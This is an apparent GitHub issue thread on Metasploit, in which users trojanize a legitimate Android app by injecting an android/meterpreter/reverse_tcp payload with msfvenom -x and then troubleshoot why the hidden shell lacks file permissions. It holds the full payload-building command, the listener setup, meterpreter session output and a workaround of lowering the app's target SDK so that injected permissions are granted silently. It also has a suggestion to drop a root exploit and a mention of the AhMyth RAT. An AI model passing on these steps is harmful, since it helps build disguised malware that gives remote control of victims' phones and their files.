android payload permissions not registered

[karpiyon]

Steps to reproduce

How'd you do it?

1. I generated the payload using: sudo msfvenom -x Hangman.com.apk -p android/meterpreter/reverse_tcp lhost=192.168.1.23 lport=4444 -o android_reverse_tcp_local.apk

2. I later signed the app and installed on my android device

3. Opened a meterpreter shall and realized I do not have permissions to upload file or even to use ls command

4. I noticed that the app, on the android has no permissions at all and only after manually adding permissions was I able to upload file or use ls in meterpreted session.

This section should also tell us any relevant information about the environment; for example, if an exploit that used to work is failing, tell us the victim operating system and service versions.

Were you following a specific guide/tutorial or reading documentation?

I followed several tutorials all of them show the same method

Expected behavior

full permissions on teh android device

What should happen? command like ls or upload should work

Current behavior

Unable to preform command which require app permission

What happens instead? I got error messages e.g.:

meterpreter > pwd
/storage/emulated/0
meterpreter > cd download
meterpreter > pwd
/storage/emulated/0/download
meterpreter > ls
[-] stdapi_fs_ls: Operation failed: 1
meterpreter > 

Metasploit version

Framework Version: 6.1.29-dev

Additional Information

If the issue is encountered within msfconsole, please run the debug command using the instructions below. If the issue is encountered outisde msfconsole, or the issue causes msfconsole to crash on startup, please delete this section.

1. Start msfconsole
2. Run the command set loglevel 3
3. Take the steps necessary recreate your issue
4. Run the debug command
5. Copy all the output below the `===8<=== CUT AND PASTE EVERYTHING BELOW THIS LINE 6

`

Module/Datastore

The following global/module datastore, and database setup was configured before the issue occurred:

Collapse

[framework/ui/console]
ActiveModule=exploit/multi/handler

[multi/handler]
PAYLOAD=android/meterpreter/reverse_tcp
WORKSPACE=
VERBOSE=false
WfsDelay=2
EnableContextEncoding=false
ContextInformationFile=
DisablePayloadHandler=false
ExitOnSession=true
ListenerTimeout=0
LHOST=192.168.1.66
LPORT=4444
loglevel=3

Database Configuration

The database contains the following information:

Collapse

Session Type: postgresql selected, no connection

History

The following commands were ran during the session and before this issue occurred:

Collapse

149    use exploit/multi/handler
150    set PAYLOAD android/meterpreter/reverse_tcp
151    set LHOST 192.168.1.66
152    set LPORT 4444
153    run
154    Framework Version: 6.1.29-dev
155    set loglevel 3
156    run
157    debug

Framework Errors

The following framework errors occurred before the issue occurred:

Collapse

[02/22/2022 04:15:40] [e(0)] core: Failed to connect to the database: No database YAML file
[02/22/2022 04:16:48] [e(0)] meterpreter: stdapi_fs_ls: Operation failed: 1
[02/22/2022 04:31:21] [e(0)] meterpreter: stdapi_fs_chdir: Operation failed: 1
[02/22/2022 04:31:29] [e(0)] meterpreter: stdapi_fs_chdir: Operation failed: 1
[02/22/2022 04:31:46] [e(0)] meterpreter: stdapi_fs_ls: Operation failed: 1
[02/22/2022 04:31:50] [e(0)] meterpreter: stdapi_fs_chdir: Operation failed: 1
[02/22/2022 04:32:03] [e(0)] meterpreter: stdapi_fs_ls: Operation failed: 1
[02/22/2022 04:34:09] [e(0)] meterpreter: stdapi_fs_ls: Operation failed: 1
[02/22/2022 04:34:16] [e(0)] meterpreter: stdapi_fs_ls: Operation failed: 1
[02/22/2022 04:34:50] [e(0)] meterpreter: core_channel_open: Operation failed: 1

Web Service Errors

The following web service errors occurred before the issue occurred:

Collapse

msf-ws.log does not exist.

Framework Logs

The following framework logs were recorded before the issue occurred:

Collapse

/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1655:in `cmd_sessions'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:563:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:512:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `run_single'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:187:in `cmd_exploit'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:563:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:512:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:162:in `run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/usr/bin/msfconsole:23:in `<main>'
[02/22/2022 04:34:50] [e(0)] meterpreter: core_channel_open: Operation failed: 1
[02/22/2022 04:34:50] [d(0)] meterpreter: Call stack:
/usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:116:in `create'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/channels/pools/file.rb:34:in `open'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:562:in `_open'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:513:in `initialize'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:319:in `new'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:319:in `upload_file'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:1041:in `block in cmd_upload'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:1025:in `each'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:1025:in `cmd_upload'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:563:in `run_command'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:102:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:512:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `run_single'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:64:in `block in interact'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:157:in `run'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:62:in `interact'
/usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:559:in `_interact'
/usr/share/metasploit-framework/lib/rex/ui/interactive.rb:53:in `interact'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1655:in `cmd_sessions'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:563:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:512:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `run_single'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:187:in `cmd_exploit'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:563:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:512:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:506:in `run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:162:in `run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/usr/bin/msfconsole:23:in `<main>'
[02/22/2022 04:35:08] [d(0)] core: HistoryManager.pop_context name: :meterpreter

Web Service Logs

The following web service logs were recorded before the issue occurred:

Collapse

msf-ws.log does not exist.

Version/Install

The versions and install method of your Metasploit setup:

Collapse

Framework: 6.1.29-dev
Ruby: ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
Install Root: /usr/share/metasploit-framework
Session Type: postgresql selected, no connection
Install Method: Other - Please specify

`

[karpiyon]

Can this be connected with android:compileSdkVersion="23". skd23 uses runtime permissions. To test this, I modified the xml to show android:compileSdkVersion="20" but after apktool b... it turn is to "23".

[Morsmalleo]

Picking up the same problems here with APK files that target any SDK version after SDK v22.

Injected Meterpreter Permissions will not be granted automatically and will need to be enabled manually through the Android Device Settings in order for everything to work on the Server Side when using an APK whose SDK version targets anything after SDK v22.

Android Runtime Permissions may be the Culprit

I believe that this may be due to Android Runtime Permissions, which were introduced in SDK v23 as discussed Here, which would also explain why I haven't experienced this problem with any APK file that targets any SDK version before SDK v23 was available.

To prove this theory we can take a look at the Flappybird APK from ApkMirror. This APK targets SDK version 8 (android 2.2), so if we use this APK as a template, you'll find that injected permissions are indeed granted.

[timwr]

You are correct. Any APK with targetsdkversion < 23 is unlikely to have the ability to handle some permissions at runtime on devices running Android 6.0 marshmallow or higher. You'll still get a session but things that require the new runtime permissions, e.g camera, sdcard access may throw a SecurityException

[timwr]

Thinking about this further, the default android payload (without injection) probably has this issue too. Fixing it would require updating the SDK version and breaking backwards compatibility with Android 5 and lower devices. I made some progress here: https://github.com/rapid7/metasploit-payloads/pull/573 but I don't have the bandwidth currently to finish it off. The user would also have to accept the permission(s) via a popup. You're better off dropping a root exploit and running freely :)

[Morsmalleo]

Thinking about this further, the default android payload (without injection) probably has this issue too. Fixing it would require updating the SDK version and breaking backwards compatibility with Android 5 and lower devices. I made some progress here: rapid7/metasploit-payloads#573 but I don't have the bandwidth currently to finish it off. The user would also have to accept the permission(s) via a popup. You're better off dropping a root exploit and running freely :)

I'm pretty sure the default payload doesn't have any problems with the permissions being granted, I think because the payload apk is its own application.

I think this seems to arise with injection/templating but don't quote me on it I'll have to test this theory later today

[Morsmalleo]

A way around this for the time being is the following, which I've tested on my end with both msfvenom and my own project (which makes use of the same hook method for APK's using some of metasploit's java payload code).

We can have msfvenom automatically change both the android:compileSdkVersion=" & platformBuildVersionCode=" to something lower than SDK 23 saying something like 22 or 21 and do the same thing for the targetSdkVersion: ' attribute in the apktool.yml file. People would of course have to do this manually for the time being, until Devs think this is an adequate enough workaround to be integrated.

My testing confirms this works in most cases.

Unless we have Apktool ignore SDK changes to the AndroidManifest.xml and apktool.yml files if that might help, I made a Feature Request about it on the Apktool Repo, so we'll see.

[Baydee]

A way around this for the time being is the following, which I've tested on my end with both msfvenom and my own project (which makes use of the same hook method for APK's using some of metasploit's java payload code).

We can have msfvenom automatically change both the android:compileSdkVersion=" & platformBuildVersionCode=" to something lower than SDK 23 saying something like 22 or 21 and do the same thing for the targetSdkVersion: ' attribute in the apktool.yml file. People would of course have to do this manually for the time being, until Devs think this is an adequate enough workaround to be integrated.

My testing confirms this works in most cases.

Unless we have Apktool ignore SDK changes to the AndroidManifest.xml and apktool.yml files if that might help, I made a Feature Request about it on the Apktool Repo, so we'll see.

BRO how can I edit it manually because I can only use apktool that the only compiler I know and apk easy tool also uses apk tool

[Morsmalleo]

A way around this for the time being is the following, which I've tested on my end with both msfvenom and my own project (which makes use of the same hook method for APK's using some of metasploit's java payload code). We can have msfvenom automatically change both the android:compileSdkVersion=" & platformBuildVersionCode=" to something lower than SDK 23 saying something like 22 or 21 and do the same thing for the targetSdkVersion: ' attribute in the apktool.yml file. People would of course have to do this manually for the time being, until Devs think this is an adequate enough workaround to be integrated. My testing confirms this works in most cases. Unless we have Apktool ignore SDK changes to the AndroidManifest.xml and apktool.yml files if that might help, I made a Feature Request about it on the Apktool Repo, so we'll see.

BRO how can I edit it manually because I can only use apktool that the only compiler I know and apk easy tool also uses apk tool

Using apktool to decompile the application, then use a text editor to edit things manually

[Baydee]

A way around this for the time being is the following, which I've tested on my end with both msfvenom and my own project (which makes use of the same hook method for APK's using some of metasploit's java payload code). We can have msfvenom automatically change both the android:compileSdkVersion=" & platformBuildVersionCode=" to something lower than SDK 23 saying something like 22 or 21 and do the same thing for the targetSdkVersion: ' attribute in the apktool.yml file. People would of course have to do this manually for the time being, until Devs think this is an adequate enough workaround to be integrated. My testing confirms this works in most cases. Unless we have Apktool ignore SDK changes to the AndroidManifest.xml and apktool.yml files if that might help, I made a Feature Request about it on the Apktool Repo, so we'll see.

BRO how can I edit it manually because I can only use apktool that the only compiler I know and apk easy tool also uses apk tool

Using apktool to decompile the application, then use a text editor to edit things manually

what do I use to recompile that's my only problem I only use apk tool, so when I try compiling apk tool changed the SDK version back to 23

[Morsmalleo]

A way around this for the time being is the following, which I've tested on my end with both msfvenom and my own project (which makes use of the same hook method for APK's using some of metasploit's java payload code). We can have msfvenom automatically change both the android:compileSdkVersion=" & platformBuildVersionCode=" to something lower than SDK 23 saying something like 22 or 21 and do the same thing for the targetSdkVersion: ' attribute in the apktool.yml file. People would of course have to do this manually for the time being, until Devs think this is an adequate enough workaround to be integrated. My testing confirms this works in most cases. Unless we have Apktool ignore SDK changes to the AndroidManifest.xml and apktool.yml files if that might help, I made a Feature Request about it on the Apktool Repo, so we'll see.

BRO how can I edit it manually because I can only use apktool that the only compiler I know and apk easy tool also uses apk tool

Using apktool to decompile the application, then use a text editor to edit things manually

what do I use to recompile that's my only problem I only use apk tool, so when I try compiling apk tool changed the SDK version back to 23

As far as I know that only happens in the manifest but the targetSdk stays the says in the Apktool.yml I know this because I use the work around I've stated above in the "AhMyth Android RAT" project that I currently maintain on my own